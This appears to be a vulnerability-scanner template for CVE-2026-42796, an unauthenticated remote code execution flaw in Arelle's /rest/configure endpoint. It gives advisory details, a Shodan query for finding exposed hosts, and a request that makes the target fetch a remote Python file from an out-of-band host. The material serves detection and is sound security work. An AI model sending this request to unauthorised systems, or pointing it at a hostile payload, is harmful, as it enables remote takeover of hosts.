id: CVE-2026-42796

info:
  name: Arelle < 2.39.10 - Remote Code Execution
  author: aryu-ru
  severity: critical
  description: |
    Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle downloads and executes within its process.
  impact: |
    Successful exploitation allows an unauthenticated attacker to execute arbitrary Python code with the privileges of the Arelle webserver process, leading to full host compromise.
  remediation: |
    Upgrade to Arelle 2.39.10 or later, which rejects remote URL plug-in references over the webserver.
  reference:
    - https://www.vulncheck.com/advisories/arelle-unauthenticated-rce-via-rest-configure
    - https://github.com/Arelle/Arelle/pull/2320
    - https://github.com/Arelle/Arelle/releases/tag/2.39.10
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42796
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42796
    epss-score: 0.02415
    epss-percentile: 0.82498
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: arelle
    product: arelle
    shodan-query: http.html:"Arelle Web Services"
  tags: cve,cve2026,arelle,rce,oast,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/configure?plugins=http://{{interactsh-url}}/{{randstr}}.py"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "Configuration Request"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220494be37430bf728e350789fd4111d5af8139043bf5ee03556b4ced953b1669480221008c0d65dab96a424887a72b8341fa193b1a4eb222d89e44bb37b13a7029affe43:922c64590222798bb761d5b6d8e72950